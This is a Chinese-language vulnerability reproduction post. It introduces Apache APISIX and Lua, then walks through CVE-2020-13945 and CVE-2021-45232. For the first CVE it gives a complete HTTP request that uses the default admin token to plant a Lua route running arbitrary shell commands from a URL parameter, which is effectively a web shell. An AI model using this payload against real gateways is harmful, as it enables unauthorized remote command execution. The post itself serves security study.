目录
[Apache APISIX是什么?](#Apache APISIX是什么?)
[Lua 的主要特点:](#Lua 的主要特点:)
[Lua 的常见应用:](#Lua 的常见应用:)
[CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行)](#CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行))
[CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE)](#CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE))
Apache APISIX是什么?
Apache APISIX是一个高性能、云原生的API网关,它基于Nginx和Lua,用于处理和管理大规模的API请求。它是开源的,并且主要用于微服务架构中的流量管理、负载均衡、认证、访问控制、日志、监控等功能。
主要特点:
- 高性能:基于 Nginx 的高性能特性,APISIX 能够处理大量并发请求。
- 插件架构:提供丰富的插件系统,可以根据需求对流量进行控制(如身份验证、IP 限制、请求转发等)。
- 动态路由:支持动态路由配置,可以根据请求的不同特点(如路径、方法、头信息等)进行流量路由。
- 负载均衡:支持多种负载均衡算法,如轮询、加权轮询、最少连接等。
- 支持多种协议:不仅支持 HTTP/HTTPS,也支持 WebSocket、gRPC 等协议。
- 可扩展性:支持插件的动态加载和自定义插件开发,灵活扩展功能。
- 云原生支持:与 Kubernetes 和 Docker 等云原生平台紧密集成,适合微服务架构。
典型用途:
- API 管理:可以作为 API 网关,处理 API 的访问请求,提供认证、限流、日志记录等功能。
- 微服务架构:在微服务架构中作为流量入口,统一管理和路由请求到不同的微服务。
- 负载均衡和流量控制:通过配置负载均衡算法,平衡服务的流量和性能。
Lua
Lua 是一种轻量级、高效的脚本编程语言,它的设计目标是嵌入式开发,特别适合用作扩展语言。Lua 的语法简洁,执行效率高,且容易嵌入到其他应用中,常用于游戏开发、Web 应用、嵌入式系统等领域。
Lua 的主要特点:
-
轻量级和高效:Lua 的内存占用小,启动速度快,适合在资源受限的环境下使用。它的执行效率很高,通常在嵌入式系统中作为脚本语言来进行扩展。
-
简洁的语法:Lua 的语法非常简洁,易学易用。它的设计者遵循了"少即是多"的原则,语言本身没有太多复杂的概念和关键字。
-
嵌入式脚本:Lua 设计的一个重要目的就是作为嵌入式脚本语言,能够轻松集成到其他应用程序中。通过 C API,Lua 可以方便地和 C 语言编写的应用进行交互,因此在游戏、网络服务等领域有着广泛的应用。
-
动态类型和自动垃圾回收:Lua 是一种动态类型语言,不需要显式地声明变量类型,同时也支持自动垃圾回收(即内存管理自动进行)。
-
扩展性:Lua 本身提供了非常简洁的 API,允许开发者方便地通过 C 语言与外部系统进行交互和扩展。
Lua 的常见应用:
- 游戏开发 :Lua 经常作为游戏引擎的脚本语言,像 World of Warcraft 和 Angry Birds 就是使用 Lua 来进行游戏逻辑的编写。
- Web 开发 :Lua 在 Web 应用中也有应用,特别是与 Nginx 配合使用时,利用 OpenResty 平台提供高效的 Web 服务。
- 嵌入式系统:Lua 可以嵌入到嵌入式系统中,控制硬件设备或进行系统配置。
- 网络服务和 API 网关 :像 Nginx 这样使用 Lua 扩展的应用,可以通过 Lua 脚本进行定制化的功能扩展,如动态路由、流量控制、缓存等。
Nginx 与 Lua 的结合:
Nginx 本身是一个高效的 Web 服务器和反向代理服务器,但它的配置文件主要用于静态配置,处理不了很多动态的逻辑。而 Lua 可以通过 OpenResty 或 Nginx 的 Lua 模块 来为 Nginx 增加动态的脚本支持,使其能够进行复杂的请求处理、数据处理等操作。例如,你可以使用 Lua 来编写自定义的路由逻辑、用户认证、请求转发等。
CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行)
漏洞成因:在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token---edd1c9f034335f136f87ad84b625c8f1,可利用这个Token可以访问到管理员接口,进而通过script参数来插入任意Lua脚本执行。
版本要求:任意版本,截止本文章发布日期。
步骤1:使用默认Token访问管理员API接口来插入Lua脚本
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
Lua脚本解析
-
定义模块
_M
:_M
是一个 Lua 模块,定义了一个函数access
,该函数将在每次访问时执行。 -
access
函数的功能:- 它首先通过
ngx.req.get_uri_args()
获取 URL 参数中的所有查询参数。 - 然后,它从查询参数中提取
cmd
参数的值,并用io.popen()
执行这个命令。io.popen()
会在操作系统中打开一个进程,执行提供的命令,并且返回该命令的输出。 - 接着,它读取并将命令的输出作为字符串通过
ngx.say(s)
输出到响应中。 - 最后,关闭执行命令的进程。
- 它首先通过
-
upstream
配置 :这部分配置了一个上游服务器,它使用roundrobin
负载均衡策略,将请求分发到example.com:80
上。
步骤2:通过控制脚本里的参数值达到任意命令执行效果

CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE)
APISIX Dashboard是Apache APISIX的web管理界面工具。
漏洞成因:APISIX Dashboard 2.10.1版本前存在两个API接口/apisix/admin/migrate/export和/apisix/admin/migrate/import,这两个接口没有进过droplet框架的权限验证,导致未授权访问的攻击可以导出导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让APISIX 访问任意网站,或者是执行Lua脚本。
版本要求:APISIX Dashboard < 2.10.1
步骤1:利用接口的未授权访问导入恶意的配置文件,这里使用自带的脚本。

步骤2:发送数据包验证是否执行
